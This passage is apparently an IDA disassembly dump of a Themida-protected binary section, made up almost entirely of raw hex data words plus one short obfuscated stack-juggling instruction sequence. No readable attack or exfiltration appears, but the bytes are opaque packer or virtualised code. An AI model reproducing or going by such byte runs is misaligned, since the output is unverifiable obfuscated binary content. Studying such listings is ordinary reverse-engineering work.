		dd 5D445897h, 0FB1EDBABh, 0C60417CBh, 3F547C8Ch, 404632F4h
		dd 7313D9D6h, 7602058Ah, 0C64045C4h, 0CC061B1Dh, 416CB307h
		dd 0F769645Ch, 4C3131ABh, 9660A4F2h, 6454650Bh,	6E789F5Fh
		dd 0E8600A8Bh, 11h, 0B160B98h, 5D777FE4h, 3C2F7CC3h, 1A681030h
		dd 12E9C0h, 0A7DE0000h,	17879F20h, 0CE775A18h, 0DC1C0FF0h
		dd 0EBE3B72Dh, 57C6815Eh, 66000063h, 33BD02B8h,	8B6660D2h
		dd 1BB657CAh, 34FF6158h, 0C2B70F32h, 11CB815Fh,	811FD8A4h
		dd 0C4CCFEC7h, 81CB8B17h, 4DAA9EFh, 1C840F32h, 0E8000000h
		dd 13h,	97CFCB09h, 0A6A9A5A1h, 7BBAD331h, 0C1FDB7A7h, 66BEBEC7h
		dd 815BD98Bh
		db 0C7h
byte_5B31B5	db 0A9h, 3Dh, 36h	; DATA XREF: Themida_:0053D9B0o
					; Themida_:0053E368o ...
		dd 89DD8A5Ah, 0EE9163Ch, 0EA000000h, 0C8264CA7h, 7AFED267h
		dd 0FF968961h, 1810FC6h, 0F8000000h, 221BEA81h,	0E8604F0Ah
		dd 0Bh,	0FAE7029h, 9E17ADEAh, 8B7B4742h, 0DF815BCAh, 2CC37695h
		dd 17C28161h, 8B4F0A22h, 0CCFA81CFh, 0FFFFF9Dh,	3F85h
		dd 24890F00h, 0E8000000h, 0Eh, 822CD7B5h, 1707BDA4h, 9DC88C98h
		dd 0AE86516h, 48000000h, 2418313Dh, 0AEB67220h,	0E95B5975h
		dd 23h,	26BE1EAh, 0DAF1B56Bh, 0FCD986D5h, 0D57EE54Ch, 0FFFF25E9h
		dd 0AB0B1BFFh, 99D95D05h, 0EF5FE744h, 0EBAFA6AFh, 10h
		dd 3 dup(0)
		dd 6AC08B00h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0ECC7C352h, 0BD83F104h, 64820E9h
		dd 83097500h, 482C61BDh, 19740006h, 0C08B5350h,	42DB8h
		dd 0A1858900h, 8D064828h, 4AB02C9Dh, 5BD3FF06h,	61BD8358h
		dd 6482Ch, 53501774h, 42DB8h, 0A1858900h, 8D064828h, 4AAD1B9Dh
		dd 5BD3FF06h, 41B46058h, 1E398589h, 0E9610648h,	5, 0E091CE86h
		dd 31C08B93h, 48185D95h, 0C58D8B06h, 6A064814h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0C6BC355h, 19A98589h, 0F9830648h, 0AA840F00h, 0E9000000h
		dd 9, 96CCC83h,	0C74DB1F9h, 3D8B643Ah, 2Ch, 0FFF0BF8h
		dd 8C84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0DAB92B25h, 7842C90Dh, 9D313F8Bh
		dd 648065Dh, 26E1958Bh,	0C0320648h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 2DC35242h, 75278022h, 0F52F6BACh
		dd 0F9958BF5h, 0F06481Fh, 580h,	0DA816600h, 0AAF35EC7h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0C9C35646h
		dd 5711D1A6h, 4149351Ah, 67BA5350h, 0C64AB64Bh,	48276D85h
		dd 95294706h, 6482405h,	10677268h, 4DBE66C7h, 24348134h
		dd 1BC6EF5Eh, 4D7951BAh, 95B5FF09h, 0F064821h, 1A83h, 0EE800h
		dd 0DA120000h, 2DDAD28h, 0B1DC605Dh, 0A5A42A7Ah, 1EED958Bh
		dd 8D5E0648h, 4B831E85h, 0D0FFF906h, 6890Fh, 0BD010000h
		dd 6482701h, 3D8589F9h,	6A06481Dh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0DF55C352h
		dd 0F1B5291Bh, 0C6064825h, 48276D85h, 958B5306h, 6480035h
		dd 4E8h, 986AFC00h, 14E888h, 0AA760000h, 0E2A1CA07h, 35FA25E2h
		dd 825E818h, 4610EE72h,	10E90487h, 3B000000h, 9BAB312Eh
		dd 8DB13963h, 0C23803DFh, 5A5E381Fh, 7E850h, 8F850000h
		dd 8DFEEF88h, 0D5BE6656h, 448B5AD0h, 0BA660424h, 8BE64Ch
		dd 4489F78Bh, 60580424h, 9523D98Bh, 6480D61h, 95B5FF61h
		dd 52064821h, 1975B58Bh, 8D5A0648h, 4B831E85h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0A5F7603Eh, 69ABCF2Fh, 0BE960DBh, 0B1000000h, 950667ACh
		dd 5F5851B1h, 14E93716h, 3B000000h, 9BDEE982h, 4616BC14h
		dd 0A04AF3Dh, 849E815Ah, 61978185h, 8A0FD0FFh, 0Ah, 15B58960h
		dd 0B606480Ah, 858D616Fh, 64B3D99h, 859589F9h, 8906480Dh
		dd 481E0185h, 99B58B06h, 6A06480Fh, 0FFFF6A20h,	481E0195h
		dd 41493506h, 85C75350h, 6482F19h, 1, 1CE585C7h, 648h
		dd 10E80000h, 98000000h, 0CCA68A0h, 0FB044ED0h,	0EE84894Fh
		dd 0FC64472h, 85h, 0BD895A00h, 6481EE9h, 590EA81h, 0BD83127Dh
		dd 6480B19h, 55840F00h,	8B000000h, 480AFDB5h, 79858B06h
		dd 0E906481Fh, 0Fh, 3211B28Ch, 0A1645F36h, 21C370B4h, 64ECC70Fh
		dd 0A3h, 858BF900h, 6481F4Dh, 3BAF28Bh,	8B5B8ADBh, 0FE860E0h
		dd 0F8000000h, 98767DFCh, 4E452AA5h, 0CCC2327h,	0B70F91B2h
		dd 805758DFh, 615F49CAh, 0D19BD83h, 0F000648h, 3CC85h
		dd 10E96000h, 95000000h, 52323534h, 0E9B15D2Dh,	8AB24763h
		dd 0F9777E77h, 6D85C661h, 56064827h, 83BC68FCh,	820F4A96h
		dd 2, 48129B2h,	2EAD2324h, 43BA665Fh, 95B5FF4Fh, 0F064821h
		dd 858DD2B7h, 64B831Eh,	3279B533h, 0D0FF0648h, 5DB58B53h
		dd 5A06482Ah, 14E850h, 577D0000h, 446FF16h, 900E1D33h
		dd 2668DCE9h, 0C615749Ch, 57603421h, 0E7BF665Fh, 895E6111h
		dd 8DF52404h, 482E818Dh, 61609106h, 81B76050h, 5F10B656h
		dd 6A9161h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 4E51AFC3h, 0CEF2EB7Bh, 46A6A45h, 153AD281h
		dd 4E84C26h, 0
		dd 8B000010h, 8E950F7h,	7D000000h, 19419603h, 8BAA1B62h
		dd 50042444h, 0F0B66052h, 0F615956h, 11E831h, 50F30000h
		dd 0D161B2BCh, 61E2065Ah, 1D8DCFA1h, 5E5599F8h,	8B585Ah
		dd 0DE9h, 7CB4100h, 0A79EE285h,	0F07E8660h, 44894CDFh
		dd 8B580424h, 480FF5B5h, 0A9B5FF06h, 29064809h,	4820E5BDh
		dd 6AD0FF06h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 136FC350h, 0BD8BF912h,	64809A9h
		dd 3049BD89h, 7F030648h, 0C781F83Ch, 0F8h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 8DC35545h, 0ADF84167h
		dd 6ED2376Dh, 10E882h, 68D80000h, 0FEEDD312h, 752260E3h
		dd 7EA38339h, 3FBE0C0Bh, 5A674FA2h, 202447C7h, 81600000h
		dd 5E4C7CF6h, 0F2BD8316h, 64F64h, 15B840Fh, 958B0000h
		dd 6481045h, 6A28C783h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0A59AC350h,	7D94A094h
		dd 0BE559A1Eh, 49C0CC83h, 0B98D2950h, 5A06481Fh, 6A2E07C7h
		dd 95036469h, 648225Dh,	610447C7h, 8B006174h, 4825F9B5h
		dd 0FA858B06h, 6A064F64h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 85A6C352h, 3085958Bh
		dd 47890648h, 0E820F0Ch, 0E9000000h, 9,	1EBEA73Ch, 45E33995h
		dd 0FE858B2Dh, 51064F64h, 9698BA66h, 847895Eh, 8E9h, 90D2B900h
		dd 0E5FE170Dh, 28C78398h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 76C35242h, 2C08FF38h,	2BE20D3Dh, 4809C995h
		dd 2E07C706h, 0B26E6F63h, 447C7C6h, 676966h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0F1C35141h, 64F6858Bh
		dd 6A064Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0EE8112C3h, 7C5B9E5Dh, 89F78B66h,	0B58B0C47h
		dd 64828E1h, 64F2858Bh,	0DE9064Fh, 7B000000h, 7F6036EDh
		dd 4DE87093h, 0A2ADF778h, 2B084789h, 481F0195h,	5E85806h
		dd 9C000000h, 1B97B99Eh, 4673BE66h, 198D8D5Eh, 8906481Dh
		dd 481E1DBDh, 0D68B5006h, 6A240C89h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 5901C352h
		dd 8712B43Bh, 0B6B6B910h, 2E81B5FFh, 6A0648h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0F147F8C3h
		dd 8953F9D4h, 482B7D9Dh, 0BF685A06h, 661ECE23h,	81A09ABAh
		dd 33BF2434h, 6A1ECEh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 8DDDA6C3h, 1FFB3433h, 0FF0373BBh
		dd 4809A9B5h, 0D0FFF506h, 9CA8166h, 0B88Ah, 9D890000h
		dd 64829EDh, 840FC00Bh,	79h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 9C35242h, 0D1492DC6h, 12E9F2h
		dd 9B440000h, 52B5526Ah, 55F054A6h, 0A8A69ED3h,	74C3153Bh
		dd 24BDB5FFh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0F85151C3h, 0B58BFFDDh, 6480FC1h
		dd 0FFF7B70Fh, 4820BD95h, 99958B06h, 89064806h,	4829CD9Dh
		dd 8BC08B06h, 48272D95h, 0E9BD8306h, 64820h, 0BD830975h
		dd 6482C61h, 50197400h,	0B8C08B53h, 42Dh, 218589h, 9D8D0648h
		dd 64AB093h, 585BD3FFh,	2C61BD83h, 74000648h, 0B8535017h
		dd 42Dh, 218589h, 9D8D0648h, 64AAD34h, 585BD3FFh, 0BBEBBA66h
		dd 5840Fh, 9EBA0000h, 8B2F4714h, 618529C0h, 8B06482Dh
		dd 0FA8D8DC0h, 89064F6Dh, 480A198Dh, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 23DC6A45h
		dd 0CBA9C0B3h, 3585C7AFh, 3C06480Fh, 6A000073h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 8089C352h, 85C7F8E3h, 6482425h, 0
		dd 75C81BEh, 5B5FF6Ch, 5106480Dh, 9D8B5FFCh, 64819A1h
		dd 20BD95FFh, 6A0648h, 306195FFh, 0C08B0648h, 6DB73AEBh
		dd 87983809h, 0DD14DA36h, 30C8C9E3h, 98A4BFECh,	4A430253h
		dd 0EACC61C7h, 12AD9ECh, 0DFD5CDBCh, 5A8F679Bh,	597A86D4h
		dd 0A932A2CEh, 0FADD1535h, 8138DBDh, 0F7CBD160h, 0EBD204EBh
		dd 5FE90D91h, 3D000005h, 4061DB27h, 3E5FD925h, 2576DE2Ah
		dd 2273DD29h, 0E877E12Dh, 36825DE2h, 38845DFEh,	408C5F00h
		dd 47934718h, 8965890Dh, 56162115h, 8672BC17h, 0E12D7955h
		dd 19125E74h, 2B257166h, 0F32C786Ah, 717D8E44h,	4FC6B2FDh
		dd 0B39D02Fh, 0B32B1B2Fh, 26094FC6h, 55CE1A35h,	7A1D22ECh
		dd 46924D63h, 42FD24FDh, 0C53590E6h, 0AFA3B994h, 0A881E863h
		dd 0EF70CA9Fh, 0D485AFFBh, 0A495B3FFh, 7CE55EAAh, 8ED290A3h
		dd 96A089A0h, 7ECAA1C2h, 73BF92C5h, 93EC78B8h, 5BC7AEC9h
		dd 99BF5B01h, 0F6F1CA3Ah, 6EC8A1AAh, 92AEFAF1h,	4ACA2AEh
		dd 0A1804FC7h, 0CAA0C195h, 0B4A7C57Eh, 544FC704h, 6E71E71Eh
		dd 1554F166h, 5Eh, 1D6981A9h, 0B3128A22h, 0C8F44FC6h, 0F0E6FCEFh
		dd 5FC69BA4h, 9FB17DE4h, 15D1EE64h, 1B254F1h, 4C000000h
		dd 20166481h, 2E7F1E1Eh, 0FA9DA67Fh, 0EB8C97E3h, 0B400DDF3h
		dd 0CA16CC6Bh, 0AF81CA63h, 125E7263h, 74E63019h, 0F5411C91h
		dd 0FC481A3Bh, 95C63F60h, 0D55D9FC4h, 0B955ACF8h, 6681AB95h
		dd 776E111Ah, 0F951202Bh, 5EAAA51Ah, 61ADA5F6h,	539FB9E6h
		dd 4E85ADD8h, 0F113BBD8h, 94C854h, 865E0000h, 0A984AB1Dh
		dd 0B750C950h, 0DB270729h, 1E3FDB83h, 1A42FD49h, 88C88A09h
		dd 4EE8F4E8h, 400B5711h, 0CB3B9AF0h, 75BE77B2h,	283B8705h
		dd 6CE945DCh, 3C3B2573h, 0B430B439h, 9DB2E34Dh,	0E80CE87h
		dd 0D8550CB4h, 0CA55AC55h, 0DA65B1ADh, 0D15AA6BDh, 766DBBAEh
		dd 0A740743Dh, 95EE940h, 77117913h, 476D772Ah, 4E84E18Ch
		dd 3B6E0177h, 3D1554F1h, 0C7000000h, 0FD9EC7B6h, 0B78A95E1h
		dd 7903794Ch, 6681A79Dh, 7D6E111Ah, 45AF631h, 47934CC1h
		dd 5586330Dh, 13F6317Dh, 337F5607h, 0B2E75CF8h,	0F11F4FC6h
		dd 16079C12h, 17C54F1h,	12000000h, 10196781h, 0D9D40E99h
		dd 0F93F2BD4h, 4537453Dh, 1E3463DCh, 8E4576D2h,	83560942h
		dd 0EC15EC37h, 697A1D22h, 5875221Dh, 1F75130Ch,	61F739E4h
		dd 4C0932A2h, 0DF4C2700h, 0EA75EA4Ah, 0D590F50h, 753062Fh
		dd 549E53Ch, 4AF60E2Eh,	0A6ACA839h, 0D3113713h,	5038D3C3h
		dd 86D28611h, 71BD64BDh, 0FF2EE5E9h, 69BA498Eh,	0CFB394B5h
		dd 0DD43CFACh, 84560942h, 8B5F0038h, 0F468043Fh, 71560F58h
		dd 801F2874h, 307C5268h, 30FB12F7h, 9F4A89E1h, 0A71CF7CDh
		dd 0E0F967B3h, 0DD71BD09h, 0EE5AA6BCh, 0C2458795h, 0EC0B8AEh
		dd 6A957C56h, 6DC997C9h, 67B3A7D8h, 0A2E6A8F9h,	0FC82FCE4h
		dd 0E63C0D32h, 5CA8BA2Fh, 0E61DA2F4h, 24665B39h, 1, 75D3E95Bh
		dd 8EB89E59h, 6F67D049h, 1E410A23h, 0D725364Ch,	2871A89h
		dd 22B0276h, 551095Ah, 2239223Ah, 1AF44DD6h, 4ED9253Dh
		dd 48203631h, 7D1A25FCh, 3B0D1662h, 0B2832EE5h,	4E04795Ch
		dd 7B085A02h, 85B39F2h,	71h, 7A55869Eh,	9550D2Eh, 0E84FEB3Eh
		dd 4C203C74h, 4FC6B32Ah, 0F5B7364h, 0FCD22D14h,	1D5CFA92h
		dd 0E750D25Ch, 9C12DEEFh, 904FC6E8h, 0B6719871h, 3703758Eh
		dd 0AE8CAE01h, 79960864h, 3E744FC7h, 6E68EC87h,	49202B77h
		dd 795F4F1Bh, 32CD4FC7h, 0BD616DDBh, 0EF4FC778h, 78352810h
		dd 0E7000000h, 7987F7D3h, 88A54FC7h, 33FDA4FFh,	40DA331Ch
		dd 0D3E95B06h, 0B8DE5975h, 0F110498Eh, 5510936h, 1F2B0F4Bh
		dd 560EBD2Fh, 471822FDh, 70FC4793h, 560EBC39h, 0E0F8E1ADh
		dd 0FDD87A94h, 3184D288h, 1DE82F23h, 201741E8h,	905C0820h
		dd 4FD21215h, 3C5BE44Bh, 0E5A1026h, 550B2C15h, 69272009h
		dd 2315B013h, 60798F43h, 0CF360B14h, 47460A36h,	0F5499138h
		dd 5B68221Ah, 4975D3E9h, 7EF48038h, 42CCF7CCh, 8A382B2Ah
		dd 53EE149h, 0FC348052h, 0D3B875Bh, 50EA362Ch, 5FCB5DF7h
		dd 0D92F4A67h, 81CD85FAh, 0BED486D7h, 7EE35CA8h, 0E3FB9CA7h
		dd 0F3EB8C97h, 0E8FB9CA7h, 0EBCA39Ch, 9DD00CE5h, 23E218D0h
		dd 68A797B3h, 0AA855D58h, 94C5D183h, 4FB26DB9h,	9DA6F2ECh
		dd 2DE86AC4h, 0DE56A2B8h, 7D3161C2h, 0FD267267h, 4FEB7FEBh
		dd 0BA0E5C0Eh, 6D4BB84Dh, 5A86E24Bh, 58992096h,	10D1115Dh
		dd 0CD1BCDCFh, 740DA35h, 316h, 1763AC00h, 241F6B81h, 18135F73h
		dd 1F287467h, 221D6980h, 150E5A75h, 26216D62h, 16115D79h
		dd 28236F69h, 19125E77h, 58545074h, 405h, 4E88300h, 5C240487h
		dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 1768241Ch
		dd 89000012h, 0B850243Ch, 4FD13529h, 1330BA52h,	0E2C14314h
		dd 0F3F28108h, 816ED735h, 8B6D8CC2h, 0C2814A29h, 122EC59Dh
		dd 895AD001h, 8B5458C3h, 0C481243Ch, 4,	315168h, 24048900h
		dd 8B8h, 89F80100h, 3C8B5818h, 0E3895324h, 4C381h, 0C3810000h
		dd 4, 5C241C87h
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_544ACB
; ---------------------------------------------------------------------------
		db 67h
		dd 0BA8A9792h, 692826ACh, 4C790D0Ah, 0F2B80ED0h, 3064F72h
		dd 0E1E0FFC5h, 543D6751h, 952EED68h, 0F7009120h, 40784B2Fh
		dd 0FB3DBAFEh, 9B3E4802h, 530FE3D1h, 3707D979h,	68354365h
		dd 0FB617116h, 235FFF8Ah, 40354D69h, 0F7670A82h, 850A400Eh
		dd 12455F3Bh, 8E25D4BAh, 0CD6DE1A1h, 8D3F4EEEh,	4F74CA8Dh
		dd 0DF8B6606h, 0A198D89h, 6A0648h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0B50D8EC3h, 69BF3363h
		dd 0C762C619h, 480F3585h, 592406h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 668F43DDh
		dd 89E576A0h, 481EF58Dh, 2585C706h, 64824h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0D91BC356h, 5E97D3Fh, 19000000h, 0ECD9D6B3h
		dd 24B5B5FFh, 95FF0648h, 64820BDh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 6C35040h, 0CD819B71h, 6B8D8548h
		dd 0B3DEB88Eh, 6A4BFAh,	306195FFh
		db 48h
byte_5B4239	db 6, 8Bh, 0C0h		; DATA XREF: Themida_:0053D788o
					; Themida_:0053EC64o ...
		dd 9B6B3CEBh, 0A70DA023h, 0A6CD3F69h, 34338DDDh, 73BB1FFBh
		dd 6A20EC03h, 0DB4D9DA9h, 873A0D05h, 0C0D31788h, 1A36C789h
		dd 3465DDCEh, 82F96845h, 93F0E22Fh, 3EA7BCD3h, 0C2E340CFh
		dd 14E8AFE8h, 73000000h, 634BBC57h, 41F5E369h, 0D014EFFEh
		dd 0EE2E6E86h, 0E97E3EF4h, 14h,	6D82D79Bh, 256A44E6h, 5EDB8F2h
		dd 4904846Fh, 0EE2DBDDAh, 5AC3815Bh, 0E900005Bh, 7, 66414DD3h
		dd 2B034C72h, 4810FC0h,	66000000h, 0FF5E6BB9h, 9D891834h
		dd 6480A29h, 0F58D8B5Eh, 81064823h, 0E28D26F6h,	8EA816Dh
		dd 811FDB54h, 259B2F6h,	1830F57h, 0FC000000h, 1C13C681h
		dd 8D896EE9h, 648224Dh,	0DE956h, 0BC580000h, 21A2977Ah
		dd 8CD15B78h, 8FB767D3h, 0BD8B0304h, 6480EB9h, 0E883CF8Bh
		dd 0C88B6603h, 0D68B6648h, 0A558F881h, 850FFFFFh, 0FFFFFF97h
		dd 0C08BF5h, 18Eh dup(0)
		dd 8800F00h, 0F000000h,	28Ch, 6A616000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0B8B5C352h
		dd 83E58B66h, 0FFE6AAFh, 0C8Fh,	7E900h,	0A5140000h, 82102AAEh
		dd 6A9DA0h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0CBDED9C3h, 168D0F61h, 0E9000000h, 11h, 0DD55F2B0h
		dd 0AC225BAh, 0D6DC4FA8h, 0CD7D3D5Ch, 6A5D6Ch, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0BA61ADC3h, 50EC1351h, 0E8606A3Fh, 0Fh, 50EC1351h, 0F22E6A3Fh
		dd 0CFB581B3h, 0E9876E51h, 0Bh,	12372D5Ch, 2B6658h, 5E320947h
		dd 24440161h, 6E908h, 0F4090000h, 0FD880D33h, 52006A58h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 7DEA3FD0h, 593D6004h, 0BE9h,	756FDC00h, 663D4764h, 5491966h
		dd 11E9h, 0ED112700h, 0C35E3F64h, 7739C177h, 73732B67h
		dd 830F67BBh, 7, 18D0Fh, 9DF80000h, 50006AC3h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 26B50EE8h
		dd 60F92487h, 6A6170B5h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 27B7C355h, 11E9B642h
		dd 25000000h, 89D24804h, 0A0B29521h, 4C4677C2h,	3AA788B7h
		dd 1820Fh, 8BFC0000h, 8B6651C0h, 8B0F5BD8h, 1Ch, 13E8h
		dd 0D2EF4C00h, 16F03F36h, 67A18952h, 0CB58AD25h, 78AEE30Ch
		dd 595AD280h, 0D18B6656h, 6E958h, 0D1340000h, 81E7A637h
		dd 7D16C981h, 81667375h, 0BA81E6D6h, 7EBE9654h,	820FC28Bh
		dd 6, 23DFD181h, 50B951C4h, 6629B755h, 0DE81C68Bh, 51DC09E9h
		dd 6E960h, 3BD50000h, 0B0E79F40h, 14E9h, 0E5921D00h, 0A5825F24h
		dd 12ECB50Ch, 3CC75F8Fh, 0C2CC59E8h, 9E961EBh, 0CF000000h
		dd 7EA1CE56h, 70669F79h, 0E98020B3h, 0CE93Fh, 0E8E70000h
		dd 5105E75Ah, 3D30DF44h, 840FC7E9h, 2, 0FFC9FB4h, 0D880FFBFh
		dd 7830F39h, 0F000000h,	18Ch, 38B1F500h, 0B8F7B70Fh, 77983601h
		dd 666056F5h, 41CCE981h, 8E38166h, 805B619Ch, 0CF8ABCF5h
		dd 0E7EA8166h, 6E9ACh, 31160000h, 948D24A3h, 0AE9h, 88D87B00h
		dd 0ECE0E4DEh, 668A098Fh, 2BCEC081h, 9E8h, 186E6800h, 88726ABBh
		dd 0BF0FC518h, 0DDB55BC8h, 5E953h, 0E74B0000h, 5B8424ECh
		dd 0FA8B6652h, 4DD28158h, 0B845ABA4h, 0B9B1F3Eh, 0B966EA8Ah
		dd 8B66976Ch, 8B6656C7h, 8B6658D8h, 6E9F9F3h, 0A0000000h
		dd 0B857CF8Bh, 0E9FEB098h, 0Fh,	0E6271B65h, 80124FBEh
		dd 17CC5CB7h, 60CD1107h, 0FD28EFBEh, 61C38B5Ch,	54C18166h
		dd 0AE9FDh, 0D0270000h,	0CBB91A53h, 4F84989Fh, 0FF8D88Bh
		dd 586h, 7BABBA00h, 11E97EAEh, 0FC000000h, 0D6047B61h
		dd 0DEE026F4h, 3E1EF9CCh, 0C6FE86E0h, 0E9CF8B66h, 12h
		dd 0F6A4CDA5h, 18135DC7h, 3CA96B66h, 0ABECBCEAh, 0FFC8C14h
		dd 0BF0FD8BFh, 6800FCAh, 81000000h, 0BFA11ADAh,	7E857h
		dd 0AF710000h, 31A09748h, 5EBDB385h, 0E2816660h, 4DBBB93Eh
		dd 61324D41h, 66D8BF0Fh, 0FF9C78Bh, 0E84h, 9E900h, 0A4D60000h
		dd 60C8081h, 8064393Ch,	0B70F6EEAh, 10E9D2h, 0A1EA0000h
		dd 0EA3B4782h, 0D32C36C1h, 46D35D07h, 4DB51190h, 10E9EE8Ah
		dd 87000000h, 0AE45CA13h, 0B5472C0Ah, 269AC935h, 0BB29B83Eh
		dd 1313BFB3h, 0DE9h, 33A86E00h,	0B7DD0061h, 424D3A13h
		dd 0B70F7C54h, 10E8FAh,	4B690000h, 9FCDAE9Eh, 0D8158E6Ah
		dd 3C666312h, 81660199h, 59EFD2E7h, 810Fh, 81660000h, 668D61DEh
		dd 0BF66CE8Bh, 0CB818D67h, 6EC74B93h, 0C480F8FCh, 0F5B50C9h
		dd 85h,	0DE900h, 28F50000h, 0AC05D86Eh,	0C4B4955Bh, 8151B3C2h
		dd 90C6B4D8h, 2A70BF26h, 0E9601D9Ah, 5,	80C74355h, 0D8BA6612h
		dd 6E86156h, 0A1000000h, 6A5E748Fh, 5E7BB2C7h, 90C88166h
		dd 0CA816616h, 8E0FC624h, 0Dh, 8E9h, 9D773F00h,	5763F9BBh
		dd 0BE8ECh, 0EC720000h,	8765EE01h, 8D3591FDh, 68BB661Bh
		dd 536059E2h, 0DF73BB66h, 10E959h, 8FD90000h, 0C5398F9Ch
		dd 8F9E7A0Dh, 0A54C3C8Bh, 0E961A456h, 11h, 7BBEFAC4h, 6F52B4FBh
		dd 0B6405C8Bh, 520805ECh, 0F08B669Bh, 7E9h, 0F1EED500h
		dd 0EF18B2BDh, 0A0D8BB66h, 0BE9C88Bh, 28000000h, 790D0A69h
		dd 0AD0ED04Ch, 0A0B5AAB3h, 10E8h, 37CB9100h, 0D0A59EF0h
		dd 26165CC1h, 9C693262h, 0BA666041h, 0E7812525h, 5409259Dh
		dd 81665F61h, 0E91059E7h, 0Ah, 392856D1h, 0B4908378h, 0F180AE91h
		dd 9E84Bh, 0F13B0000h, 0CAF96060h, 0FC601E63h, 66606059h
		dd 8B66C78Bh, 10E861FAh, 18000000h, 0CC87BEEEh,	0C41E5F50h
		dd 6388631Ch, 803E69D4h, 615E15D2h, 8E8h, 24AEF700h, 22FFD2EEh
		dd 81665AAAh, 0F5B9B0EFh, 95E16FBFh, 0FEC8A46h,	0DB81DEB7h
		dd 7C2B1F4Ah, 810FFA8Bh, 7, 87C88060h, 8B61C78Bh, 12880FC2h
		dd 0E8000000h, 7, 0DE37195Ch, 0B8705119h, 5181434Ch, 0F1E3815Fh
		dd 0E957E185h, 0Ch, 0BE51FFh, 39C6350h,	0E563A767h, 66D18B66h
		dd 96C1E381h, 0E986B1F9h, 6, 3D139038h,	11E91A5Ah, 0CB000000h
		dd 6982BBB0h, 0DB45B90Ch, 1FB4E61Dh, 456347FAh,	18D0Fh
		dd 60F80000h, 0A7D0B966h, 81F28B61h, 7A7661EBh,	18A0F09h
		dd 0F8000000h, 5E9h, 0EAD2BB00h, 10E937F2h, 0FB000000h
		dd 6C18E944h, 5B180E15h, 0A49B4E31h, 0F58ACF4h,	0FE8BC3B7h
		dd 599CB452h, 0E2E06BAh, 0CB8B6635h, 6BF78166h,	0DF8BF574h
		dd 81FCCDB2h, 45D985D0h, 11E947h, 47660000h, 9DE1649Fh
		dd 5410A75h, 85156D0Bh,	0BB471CC8h, 966373Dh, 0C78BC38Bh
		dd 41B6BE66h, 880FF5h, 66000000h, 8166F18Bh, 0BEE82BCEh
		dd 0A2D78D1h, 66C8B70Fh, 87B1D081h, 0AC0469BEh,	0C6B70F31h
		dd 696DBB66h, 11E9h, 0FDF48300h, 0AD4C44F0h, 38E0F099h
		dd 90AA19B9h, 8E9F0F5h,	0D0000000h, 80FE38BFh, 660182E3h
		dd 27E0DE81h, 6663F280h, 8E8C68Bh, 0C3000000h, 741B747Ah
		dd 0E96E639Ah, 14h, 912617A5h, 43457188h, 0DB188EF7h, 4AFF6AE6h
		dd 93F545FBh, 0AAB1B95Bh, 60577B6Ah, 81C88B66h,	0FEAFFC7h
		dd 60596132h, 9F96B866h, 2820Fh, 5A520000h, 0F7B70F61h
		dd 2830Fh, 52B40000h, 0B3F51FB3h, 28A0FB7h, 0B7000000h
		dd 0BF0F6023h, 13E9D3h,	9A40000h, 44285BC1h, 23522044h
		dd 492DC609h, 834CF2D1h, 8B666104h, 0BE8C7h, 98690000h
		dd 6F0B8F1Eh, 63943E6Ah, 38D0F80h, 80000000h, 0E95812C3h
		dd 0Eh,	369C378h, 88FA0622h, 0C7C2D010h, 0AE96729h, 0A1000000h
		dd 26A9252Bh, 0D40C8E43h, 6E850A0h, 0E7000000h,	522FF2F2h
		dd 0CE888h, 6EB90000h, 3326C5Fh, 74C2375Dh, 5B5B39A3h
		dd 8E859h, 16310000h, 5437DFE1h, 0F480F793h, 0EA81597Dh
		dd 7749D874h, 0BEC7B8FCh, 870F71A1h, 2,	0BE9D88Bh, 0FA000000h
